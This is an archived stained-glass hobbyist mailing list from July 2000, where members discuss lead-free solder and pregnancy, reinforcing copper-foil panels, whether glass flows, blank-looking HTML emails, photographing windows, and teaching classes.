From owner-glass Sat Jul  1 01:03:26 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: lead free solder
Date: Fri, 30 Jun 2000 23:24:56 -0400
Message-ID: <1970Jan1.000.0>
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Morgan,
Lead free solder is fine to work with in my limited experience, but it will
eat up an iron.  Just remember that there are lead free solders and lead
free solders.  Many have antimony in them and that is certainly a dangerous
chemical.  Be sure that you are also using a non-toxic flux.  Flux can cause
as many or more problems as can lead.
    Lead is lead is lead.  It is not a safe metal.  Your safety is dependent
on how you handle this metal.  From the handling of the raw material to the
handling of the fumes.
    Monona Rossol 75054.2542@compuserve.com is a guru when it comes to metal
toxicity.  I know that she has a business email address, but I cannot find
it.  I am sure that she will answer you through this address, but if any of
you bungians out there know her address, would you please pass it on.
Moya

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From owner-glass Sat Jul  1 05:00:45 2000
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From: Tcbobbinsglass@aol.com
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Subject: PLEASE!
Date: Sat, 1 Jul 2000 07:54:56 EDT
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PLEASE REMOVE MY EMAIL ADDRESS FROM "THE LIST", I'M GETTING SOOOO MANY EMAILS 
THAT I'M JUST NOT INTERESTED IN, PLEASE REMOVE MY EMAIL ADDRESS!

THANK YOU
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From owner-glass Sat Jul  1 08:24:25 2000
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From: Kate Nazarenko <stone@therural.net>
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Subject: Blank Emails
Date: Sat, 01 Jul 2000 09:33:14 -0700
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Hi....is anyone else getting numerous blank emails from the list?   If
it is just me, any suggestions on how to fix it?

Kate (who is wondering if this will actually show up!)  :-)

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From owner-glass Sat Jul  1 09:00:25 2000
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Tcbobbinsglass@aol.com wrote:
> 
> PLEASE REMOVE MY EMAIL ADDRESS FROM "THE LIST", I'M GETTING SOOOO MANY EMAILS
> THAT I'M JUST NOT INTERESTED IN, PLEASE REMOVE MY EMAIL ADDRESS!
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From owner-glass Sat Jul  1 10:00:23 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: lead-free solder
Date: Sat, 1 Jul 2000 12:52:35 -0400
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Message text written by "morgan oldacre"
>I'm new and I've been lurking for a while.  Since the mail volume is so =
=3D
low, I thought I'd ask this question....does anyone have experience with =
=3D
lead-free solder?  I am pregnant and, of course, concerned about lead.  =3D=

I know people who have used it primarily for jewelry, but will it work =3D=

well in panels?   I've heard it is hard to work with and that it burns =3D=

the soldering iron tip up.  True?  Do I even need to worry?
Thanks for your help,
Morgan ( in Tennessee )<

I've worked with lead-free solder.  It requires a higher temperature in
order to flow correctly.  And it can be quite "pasty" looking if you don'=
t
use enough flux or try soldering it at too low a temperature.

Just because it's lead-free doesn't mean it's safe for a pregnant
person to use.  It probably has other nasty ingredients in it which
are given off in an airborne manner during the soldering process.
So....may I suggest you do mosaic work while pregnant and lactating.
Let's be safe.

Christie A. Wood
North Wales, PA USA
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From owner-glass Sat Jul  1 10:00:24 2000
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Subject: Re: Blank Emails
Date: Sat, 24 Jun 2000 23:19:57 -0700
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Yes, me too. I've just been deleting them, but there's been an awful lot.
Stephanie

On Sat, 01 Jul 2000 09:33:14 -0700 Kate Nazarenko <stone@therural.net>
writes:
> Hi....is anyone else getting numerous blank emails from the list?   
> If
> it is just me, any suggestions on how to fix it?
> 
> Kate (who is wondering if this will actually show up!)  :-)
> 
> ----
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> To send to the list,      please mail to: glass@bungi.com
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From owner-glass Sat Jul  1 10:15:02 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
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Date: Sat, 1 Jul 2000 12:52:37 -0400
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Message text written by "arizona"
>hi! I'm new to the list and thought i would say hello. I'm new at =3D
stained glass and wanted to ask if the copper foil method is suitable =3D=

for larger pieces (i.e., a 4 foot by 2 foot panel). I think i read =3D
somewhere that the tiffany method was stronger than using lead came =3D
because it was soldered all along the edges instead of only at the =3D
joints... is this true?<

Yes, you can do larger windows in the copper foil method.  I've done
a 3 1/2 foot tall by 6 feet wide window in copper foil, but you MUST use
lots of structural reinforcement on something that large.  StrongLine
(brass-clad steel wire) placed between the pieces prior to soldering
is a good reinforcing method for copper foil.  When you go larger than 2
feet
in any direction, you must reinforce it.  And plan the reinforcement from=

the beginning.  Framing in lead, zinc and/or wood is a requirment too.
All this must be taken into account during the design phase.

Christie A. Wood
North Wales, PA USA
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From owner-glass Sat Jul  1 10:31:29 2000
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From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Kate Nazarenko" <stone@therural.net>,
Subject: Re: Blank Emails
Date: Sat, 1 Jul 2000 12:46:33 -0400
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Yea I am, I just delete and press on.
Eljay

-----Original Message-----
From: Kate Nazarenko <stone@therural.net>
To: glass@bungi.com <glass@bungi.com>
Date: Saturday, July 01, 2000 11:36 AM
Subject: Blank Emails


>Hi....is anyone else getting numerous blank emails from the list?   If
>it is just me, any suggestions on how to fix it?
>
>Kate (who is wondering if this will actually show up!)  :-)
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Sat Jul  1 16:05:44 2000
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From: rrk <ezbongo2@pacbell.net>
To: Kate Nazarenko <stone@therural.net>
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Subject: Re: Blank Emails
Date: Sat, 01 Jul 2000 15:43:51 -0700
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Kate Nazarenko wrote:

> Hi....is anyone else getting numerous blank emails from the list?   If
> it is just me, any suggestions on how to fix it?

Hi Kate,

It is not just you.  [Long explanation deleted.]

To see the text, choose one of the options
from your menu (depends on which email
client you use).

VIEW SOURCE

or

VIEW PAGE SOURCE

Bob


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From owner-glass Sat Jul  1 18:23:13 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Arizona
Date: Sat, 1 Jul 2000 17:14:24 -0400
Message-ID: <1970Jan1.000.0>
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Wow Arizona,
    I hope you are ready for some zinging answers to your bungi-gram.
    Yes, it is perfectly fine to do a 4' x 2' window panel using the copper
foil method.  The only thing to be very careful of is being sure you
reinforce enough.  Remember, glass is actually a liquid and as such is in
motion.  If you do not reinforce, your panel will eventually buckle or bow.
    Welcome to the group and enjoy stained glass.
Moya

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From owner-glass Sat Jul  1 19:29:39 2000
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From: "Howard" <weaver51@teleport.com>
To: "D. ONeal" <Moya-Don@worldnet.att.net>,
Content-Type: text/plain;
Subject: Re: Arizona
Date: Sat, 1 Jul 2000 19:10:56 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: weaver51@teleport.com
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even though glass is a liquid.........you will not live long enough to see
any differences due to it being a liquid.....certainly re-enforce, design to
be structurally sound, use a border of wide zinc, and do all necessary.

As a liquid goes, nothing you will be able to detect!

H
weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Sat Jul  1 19:33:57 2000
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From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: old Wordens'
Date: Sat, 1 Jul 2000 19:21:14 -0700
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CHEAP.....other choice is re-cycle them as scrap!

some 1, 2 and maybe even 3 repeats....assorted patterns to go with them.

Not a priority on my list of things, but I will check my inventory for you.

Some may be complete, others will need some work!

weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Sat Jul  1 19:55:37 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: <glass@bungi.com>
Subject: reinforcment
Date: Sat, 1 Jul 2000 22:35:30 -0400
Message-ID: <1970Jan1.000.0>
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Aw shucks Howard, and I have been sitting here watching an unreinforced
window waiting for it to plop onto the floor.  :-)
Eljay
-----Original Message-----
From: Howard <weaver51@teleport.com>
To: D. ONeal <Moya-Don@worldnet.att.net>
Date: Saturday, July 01, 2000 10:43 PM
Subject: Re: Arizona


>even though glass is a liquid.........you will not live long enough to see
>any differences due to it being a liquid.....certainly re-enforce, design
to
>be structurally sound, use a border of wide zinc, and do all necessary.
>
>As a liquid goes, nothing you will be able to detect!
>
>H
>weaver51@teleport.com
>Elaine and Howard
>best lamps on the "net":
>http://www.teleport.com/~cbs/howard
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Sat Jul  1 20:04:28 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: Arizona
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Sat, 1 Jul 2000 22:54:33 +0000
Message-ID: <200007020251.WAA25116@alpha.nad.adelphia.net>
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>  Remember, glass is actually a liquid and as such
> is in motion.  If you do not reinforce, your panel will eventually
> buckle or bow.


This has been pointed out before, but glass has some *characteristics 
of a liquid ... and some of a solid - but it's actually *neither.

For the actual fact on the matter, see
http://math.ucr.edu/home/baez/physics/glass.html

There are good reasons to reinforce, but the glass flowing down and 
outta the panel isn't one of them. <smile>

A
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From owner-glass Sun Jul  2 01:01:13 2000
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From: Stephanie N Larson <pennyante@juno.com>
To: glass@bungi.com
Content-Type: text/plain
Subject: Re: Blank Emails
Date: Sun, 25 Jun 2000 12:52:27 -0700
Message-ID: <1970Jan1.000.0>
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Hi-I don't seem to have either of the below options.  I'm on Juno...does
anyone know how to work this one so I can read the blank ones? 
Stephanie

<copy>
> It is not just you.  [Long explanation deleted.]
> 
> To see the text, choose one of the options
> from your menu (depends on which email
> client you use).
> 
> VIEW SOURCE
> 
> or
> 
> VIEW PAGE SOURCE
> 
> Bob


On Sat, 01 Jul 2000 15:43:51 -0700 rrk <ezbongo2@pacbell.net> writes:
> 
> 
> Kate Nazarenko wrote:
> 
> > Hi....is anyone else getting numerous blank emails from the list?  
>  If
> > it is just me, any suggestions on how to fix it?
> 
> Hi Kate,
> 
> It is not just you.  [Long explanation deleted.]
> 
> To see the text, choose one of the options
> from your menu (depends on which email
> client you use).
> 
> VIEW SOURCE
> 
> or
> 
> VIEW PAGE SOURCE
> 
> Bob
> 
> 
> ----
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From owner-glass Sun Jul  2 10:17:52 2000
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X-Path: uswest.net!vsila
From: vern sila <vsila@uswest.net>
To: glass@bungi.com
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Subject: Photographing windows
Date: Sat, 01 Jul 2000 19:53:25 -0700
Message-ID: <1970Jan1.000.0>
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A photographer I'm not.  Has anyone got good advise on
photographing their works? I'm fairly new to stained glass
and feel I need to start putting together a portfolio of my
windows.  I've noticed that most sites have got some
outstanding shots of their works, and then, well ......
there are those one can't even determined what what the
window looks like as the photo is so dark.  I'm sure some of
the very good photos are from digital cameras.  I don't have
one but I hope there are some "tricks" to get near digital
quality to show off the beauty of the different kinds of
glass textures and colors.

Thanks in advance

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From owner-glass Sun Jul  2 11:31:54 2000
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From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: Photographing windows
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Sun, 2 Jul 2000 13:35:03 +0000
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> A photographer I'm not.  Has anyone got good advise on
> photographing their works? I'm fairly new to stained glass
> and feel I need to start putting together a portfolio of my
> windows.

Good idea, since you'll find that you will have sold panels and 
they're long gone and you have no record of them. <grin> The digital 
camera will make making that record very easy.

I've been photographing stained glass (in particular) for over 30 
years. I've always found the best success setting the panel up on a 
slightly overcast day (so the light's not so bright you get hot 
spots), be sure there are trees and bushes in the middle distance so 
that the glass catches and refracts them, highlighting the 
"glassiness" of the material, but keep your focal length as short as 
possible (which means as low an f-stop as you can manage) so the 
bushes etc. are out of focus.

Any stop signs, Chevrolets, etc. will show up, even if you think they 
won't, so I've always taken panels to a park or something like that 
so that the chance of such distractions is minimized. If you're 
photographing windows already installed in a house, you can't do 
that, of course, but you still have to keep the stop signs, 
neighbors' backyard grills, etc. out of the picture or so blurry they 
can't be read.

Hope you'll share some of your work when you get pictures!

Albert
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From owner-glass Sun Jul  2 11:43:14 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Stephanie N Larson <pennyante@juno.com>, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Blank Emails
Date: Sat, 01 Jul 2000 13:21:46 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

They arent blank, they just appear that way, if you want to read the
message, you can view the document source and the message will be
displayed.  

Suzanne

Stephanie N Larson wrote:
> 
> Yes, me too. I've just been deleting them, but there's been an awful lot.
> Stephanie
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From owner-glass Sun Jul  2 12:59:45 2000
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Stephanie N Larson" <pennyante@juno.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Blank Emails
Date: Sun, 2 Jul 2000 15:32:24 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

If you use Outlook Express, here's how to read the document source on those
"blank" emails:

Highlight the e-mail in the "From/Subject/Received" window of Outlook
Express.

Right click on the highlighted e-mail.

At the bottom of the list of options is one called "Properties."  Click on
it.

Click on the "Details" tab.

Click on the "Message Source" button toward the bottom.

You should be able to scroll down and read the message now.

E-mail programs other than Outlook Express will have a similar function.

Brad Walker
----------------------------------------------------------------------------
------------------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com


----- Original Message -----
From: Stephanie N Larson <pennyante@juno.com>
To: <glass@bungi.com>
Sent: Sunday, June 25, 2000 3:52 PM
Subject: Re: Blank Emails


> Hi-I don't seem to have either of the below options.  I'm on Juno...does
> anyone know how to work this one so I can read the blank ones?
> Stephanie
>
> <copy>
> > It is not just you.  [Long explanation deleted.]
> >
> > To see the text, choose one of the options
> > from your menu (depends on which email
> > client you use).
> >
> > VIEW SOURCE
> >
> > or
> >
> > VIEW PAGE SOURCE
> >
> > Bob
>
>
> On Sat, 01 Jul 2000 15:43:51 -0700 rrk <ezbongo2@pacbell.net> writes:
> >
> >
> > Kate Nazarenko wrote:
> >
> > > Hi....is anyone else getting numerous blank emails from the list?
> >  If
> > > it is just me, any suggestions on how to fix it?
> >
> > Hi Kate,
> >
> > It is not just you.  [Long explanation deleted.]
> >
> > To see the text, choose one of the options
> > from your menu (depends on which email
> > client you use).
> >
> > VIEW SOURCE
> >
> > or
> >
> > VIEW PAGE SOURCE
> >
> > Bob
> >
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> ----
> For subscription changes, please mail to: glass-request@bungi.com
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> Archives available at http://www.bungi.com/glass
>

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From owner-glass Sun Jul  2 17:04:07 2000
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X-Path: slonet.org!edupjohn
From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: glass@bungi.com
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Mosaics & Suncatchers
Date: Sun, 2 Jul 2000 15:12:51 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Everyone:  Just wondering how widespread the Mosaics & Suncatchers from
Mexico are.  I had a stained glass class that just completed a mosaic
garden stone and most were discussing how much they would charge to make
them for others.  In the meantime while browsing Orchard Hardware there
was a display of mosaid stones and suncatchers that were really quite
nice, good glass, good solder lines, etc.  But the 14 inch rounds were
priced at $29.99.  Somewhat discouraging to say the least.  Peggy

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From owner-glass Sun Jul  2 18:05:25 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: "Peggy W. Johnsen" <edupjohn@slonet.org>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Mosaics & Suncatchers
Date: Sun, 02 Jul 2000 19:47:48 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

They are everywhere.  I've quit making stones.

Suzanne

"Peggy W. Johnsen" wrote:
> 
> Hi Everyone:  Just wondering how widespread the Mosaics & Suncatchers from
> Mexico are.  I had a stained glass class that just completed a mosaic
> garden stone and most were discussing how much they would charge to make
> them for others.  In the meantime while browsing Orchard Hardware there
> was a display of mosaid stones and suncatchers that were really quite
> nice, good glass, good solder lines, etc.  But the 14 inch rounds were
> priced at $29.99.  Somewhat discouraging to say the least.  Peggy
> 
> ----
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From owner-glass Sun Jul  2 21:30:56 2000
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X-Path: worldnet.att.net!Moya-Don
From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Glass as a liquid
Date: Mon, 3 Jul 2000 00:12:20 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Ok, ok, I know glass is a strange material, somewhat liquid, somewhat solid.
It will not shift in my lifetime or yours (actually it will, but
infinitesimally).  A 4 x 2 foot panel still needs to be reinforced whether
it is done as a copper foil project or a lead came project.
Too many scientists on this panel, they catch every mistake.  It is like
being back in chemistry class;-)
None the less, the art (or craft depending on your own opinion) of stained
glass is great fun, enjoy it.
Moya

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From owner-glass Sun Jul  2 21:42:26 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: photographing windows
Date: Mon, 3 Jul 2000 00:23:52 -0400
Message-ID: <1970Jan1.000.0>
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Vern,
Go to Mike Savad's web page.  He has some pretty good advice.
http://www.geocities.com/Paris/1141/links3.htm

Good Luck,
Moya

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From owner-glass Sun Jul  2 22:16:01 2000
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From: "Williams" <williams@nconnect.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
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This is a multi-part message in MIME format.

------=_NextPart_000_003D_01BFE481.1BE3EEE0
Content-Type: text/plain;
	charset="iso-8859-1"
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Hi everyone, I have been working with stained glass for the last few =
years and I have been given the opportunity to teach some introductory =
classed in the community.  The town (in Wisconsin) I live in is very =
cheap and will not spend a penny if they don't have a coupon.  I am now =
buying all supplies at retail price but will now be able to buy =
wholesale through the business I am working with, this will dramatically =
lower the cost of the classes. The business has no knowledge of stained =
glass or suppliers so I would like the groups help, if you would please, =
on a few issues:

1.  Does anyone have a wholesale supplier that they would recommend ?
2.  What is a good class size ?  I have done 1 on 1 classes only.

If you would like to send any other information regarding classes please =
feel free.  The more information I have the better.  I know there is a =
lot of knowledge in this group.

Thank you in advance.

A Touch of Glass
Kim Williams
williams@nconnect.com
www.nconnect.net/~williams=20

------=_NextPart_000_003D_01BFE481.1BE3EEE0
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Hi everyone, I have been working with stained glass for the last =
few years=20
and I have been given the opportunity to teach some introductory classed =
in the=20
community.&nbsp; The town (in Wisconsin) I live in is very cheap and =
will not=20
spend a penny if they don't have a coupon.&nbsp; I am now buying all =
supplies at=20
retail price&nbsp;but will now be able to buy wholesale through the =
business I=20
am working with, this will dramatically lower the cost of the classes. =
The=20
business has no knowledge of stained glass or suppliers so I would like =
the=20
groups help, if you would please, on a few issues:</DIV>
<DIV>&nbsp;</DIV>
<DIV>1.&nbsp; Does anyone have a wholesale supplier that they would =
recommend=20
?</DIV>
<DIV>2.&nbsp; What is a good class size ?&nbsp; I have done 1 on 1 =
classes=20
only.</DIV>
<DIV>&nbsp;</DIV>
<DIV>If you would like to send any other information regarding classes =
please=20
feel free.&nbsp; The more information I have the better.&nbsp; I know =
there is a=20
lot of knowledge in this group.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thank you in advance.</DIV>
<DIV>&nbsp;</DIV>
<DIV>A Touch of Glass<BR>Kim Williams<BR><A=20
href=3D"mailto:williams@nconnect.com">williams@nconnect.com</A></DIV>
<DIV><A =
href=3D"http://www.nconnect.net/~williams">www.nconnect.net/~williams</A>=
=20
</DIV></BODY></HTML>

------=_NextPart_000_003D_01BFE481.1BE3EEE0--

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From owner-glass Sun Jul  2 22:48:57 2000
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X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: "Peggy W. Johnsen" <edupjohn@slonet.org>,
Content-Type: text/plain;
Subject: Re: Mosaics & Suncatchers
Date: Sun, 2 Jul 2000 20:53:55 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: weaver51@teleport.com
Precedence: bulk

I do not "track" suncatchers and stones, but I do know that the lamps from
mexico have flooded the area. They are as bad as the asian ones.......NOT a
threat to the high end stuff I mess with.

In most cases the buyers of cheap stuff tend not be my clients.

BTB, getting ready to put up some of my shades on Ebay.......look for my
scathing diatribe on the oriental stuff...........Will be some bargains (by
my standards) and will be interesting if the"un-washed" masses out there can
see the difference.....
I get my jollies reading the "sparkling" descriptions offered by some
sellers....If they had to tell the truth, there would be NO text.......

enjoy, H

weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Mon Jul  3 00:28:24 2000
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From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: You want how much fir that piece of glass???
Date: Sun, 02 Jul 2000 22:48:26 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
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I just signed a lease on a building in Springfield CO and will hopefully be able to move in next month.  And like the last E-mail this is a low income area but the highway goes right by the soon to be studio.  I also was wandering how much of a difference whole sale is compared to retail.  I already know that I have to go to Denver to get the glass.  I have become accustomed to ordering my supplies mail order so if there is a way to do that with cheaper prices that to would be good information.
                             James

___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Mon Jul  3 02:30:31 2000
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X-Path: bham.ac.uk!b.s.jones
From: "Jones B.S." <b.s.jones@bham.ac.uk>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Arizona
Date: Mon, 3 Jul 2000 10:05:23 +0100 
Message-ID: <1970Jan1.000.0>
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>-----Original Message-----
>From: Albert Lewis [mailto:alewis@alpha.nad.adelphia.net]

>  Remember, glass is actually a liquid and as such
> is in motion.  If you do not reinforce, your panel will eventually
> buckle or bow.


>This has been pointed out before, but glass has some *characteristics 
>of a liquid ... and some of a solid - but it's actually *neither.

>For the actual fact on the matter, see
>http://math.ucr.edu/home/baez/physics/glass.html

>There are good reasons to reinforce, but the glass flowing down and 
>outta the panel isn't one of them. <smile>

Last year I actually saw evidence of long time glass flow. I was at an
Observatory in the south of the UK that had a 3 feet diameter telescope
mirror on show in their museum. The mirror was made in 1850 by the original
rich owner of the observatory and was used for 50 years then when the
observatory went into disuse for a time the mirror disappeared.Ten years ago
during some site rebuilding work a box was discovered containing the mirror
in an underground
basement.Unfortunately the mirror was upright and not on its back. A mirror
of this size 8 inch thick glass is worth a lot of money. On testing it was
found to be useless. The glass in the 90 years of storage had flowed enough
to scrap the figure of the mirror. As the mirror was classed as a national
heirloom they were not allowed by the government to repair it.Mirrors are
figured to fractions of wavelengths of light however ie molecules of glass
tolerance.
This was the only change in 90 years though , very small and only measurable
with special instrumentation or as a disfigure in a special piece of glass
such as this.

Brandon
(UK)


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From owner-glass Mon Jul  3 04:34:31 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: teaching classes
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Mon, 3 Jul 2000 06:33:54 +0000
Message-ID: <200007031030.GAA19902@alpha.nad.adelphia.net>
Precedence: bulk

. The business has no knowledge of stained = glass or
> suppliers so I would like the groups help, if you would please

You might check out information on Peggy Johnsen's "Basic Stained 
Glass:  A Competency Based Instructor's Manual" by Peggy W. Johnsen 
(who often contributes here, too) [AIAP, 1997] 80 pages, illustrated, 
Complete tools, equipment & materials, glass cutting techniques, 
soldering,  finishing and framing in Four Easy Lessons. Includes six 
patterns for students.

It's at http://aiap.com/johnsen.htm

Albert
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From owner-glass Mon Jul  3 08:03:20 2000
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X-Path: aol.com!ARTIZ01
From: ARTIZ01@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Classes
Date: Mon, 3 Jul 2000 10:52:02 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Thinking about setting my studio up to teach classes.  Any help from the 
bungi group would be great.  Like mark up on supplies and glass and price for 
classes. Advertising etc.?
Thanks in advance
Bob
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From owner-glass Mon Jul  3 08:16:03 2000
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X-Path: ghostman.com!candy
From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Photographing windows
Date: Mon, 03 Jul 00 08:40:45 
Message-ID: <200007031443.IAA00681@mantis.privatei.com>
Precedence: bulk

Albert,
I'm in the process of buying a digital camera. I've always preferred Ricoh, but am not 
_quite_ pleased with bang for my buck..

what kind of digital camera do you have? If you could do it again, (this of course being 
much later, when cameras are cheaper and come with more functions), which kind 
would you buy? (give model number please...)

Candy

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From owner-glass Mon Jul  3 11:00:11 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: Photographing windows
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Mon, 3 Jul 2000 11:54:46 +0000
Message-ID: <200007031551.LAA03730@alpha.nad.adelphia.net>
Precedence: bulk

> which kind would you buy? (give model number
> please...)

Well, I'm awfully pleased with my Kokak DC260. That model's been 
replaced with a newer version, but even this "old" model is extremely 
flexible in its settings capabilities and with the extra big memory 
(64 high-res images) is very useful. With the memory disk it ran 
about $1100 if I remember aright.

Albert
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From owner-glass Mon Jul  3 11:39:39 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Photographing windows
Date: Mon, 3 Jul 2000 13:43:53 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by vern sila
>A photographer I'm not.  Has anyone got good advise on
photographing their works? I'm fairly new to stained glass
and feel I need to start putting together a portfolio of my
windows.<

The best book on the subject that I've found is "Photographing Your
Craftwork: A Hands-On Guide for Craftspeople" by Steve Meltzer.
Mr. Meltzer is a professional crafts photographer who has a monthly
photography column in "The Crafts Report" magazine.  His little book
gives you step-by-step instructions for photographing crafts, including
a full chapter dedicated to photographing glassware, including
stained glass panels and mirrors.  Lots of great suggestions.
I got my book through "The Crafts Report" magazine, but it might
also be available through Amazon.com.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul  3 13:16:14 2000
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From: "morgan oldacre" <magnetcats@prodigy.net>
To: <glass@bungi.com>
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Date: Mon, 3 Jul 2000 15:10:13 -0000
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This is a multi-part message in MIME format.

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Hi List,
Thanks so much for your thoughts on lead-free solder.  What to do, what =
to do?  Since I have been pondering this issue I've not soldered a =
thing;  however, there is quite a pile of glass that has been cut ( the =
good news ) and is waiting for me to get off the fence.  I've really =
decided that there are nasty ingredients in everything and, surely if I =
practice good hygeine and wear a mask and work in a well-ventilated =
area, everything will be fine.  Don't you agree ( please, she asked, =
hoping that you will )?
Morgan
....keeping high aspirations and low expectations

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Hi List,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Thanks so much =
for your=20
thoughts on lead-free solder.&nbsp; What to do, what to do?&nbsp; Since =
I have=20
been pondering this issue I've not soldered a thing;&nbsp; however, =
there is=20
quite a pile of glass that has been cut ( the good news ) and is waiting =
for me=20
to get off the fence.&nbsp; I've really decided that there are nasty =
ingredients=20
in everything and, surely if I practice good hygeine and wear a mask and =
work in=20
a well-ventilated area, everything will be fine.&nbsp; Don't you agree ( =
please,=20
she asked, hoping that you will )?</FONT></DIV>
<DIV><FONT size=3D2>Morgan</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>....keeping high aspirations and low =

expectations</FONT></DIV></BODY></HTML>

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From owner-glass Mon Jul  3 14:50:36 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Candy <candy@ghostman.com>
Subject: Re: Photographing windows
Date: Mon, 3 Jul 2000 19:17:53 +0100
Message-ID: <1970Jan1.000.0>
References: <<200007031443.IAA00681@mantis.privatei.com>>
Precedence: bulk

Candy,
        I have a Kodak DC215zoom.  It is capable of 1 million pixels,
but I use it at medium resolution, so I can get more pictures on the
card (18 instead of 6 or 7).  I then further reduce the size by using
jpeg storage and get a 1meg image down to 30-50K with a 2-10K thumbnail.

If you want to print your images you need to take pictures at high
resolutions (around 2million pixels), and store them at that resolution.
If you want to use the pictures on a monitor screen, then the high
resolution is not needed, they look very good at low resolutions on the
screen.

If you want to print the images, get a single lens reflex camera and use
film or slides.  Slides get the best image, but are more critical in
relation to exposures than print film.  You can scan the prints or with
a slide scanner (at a little more cost) to get the digital image.

So, in summary, I think the best way to go is to get a good SLR camera,
use slides or prints as you think fit, and get a scanner to change to
digital.  This provides the most flexible arrangement for presenting
your portfolio.  (The quality needed for screen presentation is very
low, but the quality needed for reproduction is very high, and provided
by the print or slide)

Steve

In message <200007031443.IAA00681@mantis.privatei.com>, Candy
<candy@ghostman.com> writes
>Albert,
>I'm in the process of buying a digital camera. I've always preferred Ricoh, but 
>am not 
>_quite_ pleased with bang for my buck..
>
>what kind of digital camera do you have? If you could do it again, (this of 
>course being 
